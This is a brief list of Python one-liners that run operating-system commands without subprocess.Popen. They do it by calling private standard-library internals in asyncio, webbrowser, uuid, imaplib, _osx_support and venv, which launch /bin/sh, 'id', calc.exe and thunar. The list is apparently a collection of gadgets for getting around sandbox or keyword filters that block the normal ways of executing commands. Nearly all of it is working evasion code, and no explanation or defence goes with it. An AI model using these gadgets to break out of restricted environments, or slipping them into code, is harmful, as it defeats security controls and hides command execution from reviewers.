My collection to execute os command without using subprocess.Popen
.
from asyncio import unix_events
unix_events._UnixSubprocessTransport({}, {}, "thunar", True, -1, -1, -1, 1337)
from asyncio import unix_events
unix_events._WindowsSubprocessTransport({}, {}, "calc.exe", True, -1, -1, -1, 1337)
import webbrowser
webbrowser.GenericBrowser(['/bin/sh']).open("")
import _osx_support
print(_osx_support._read_output('ls'))
import uuid
uuid._get_command_stdout("/bin/sh", "-c", "id").read()
import imaplib
imaplib.IMAP4_stream("id").open()
import venv
(a := venv.EnvBuilder()) and a.__setattr__("env_exec_cmd", "calc.exe") or a.__setattr__("env_dir", "/mnt/c/Windows/system32") or venv.EnvBuilder()._call_new_python(a)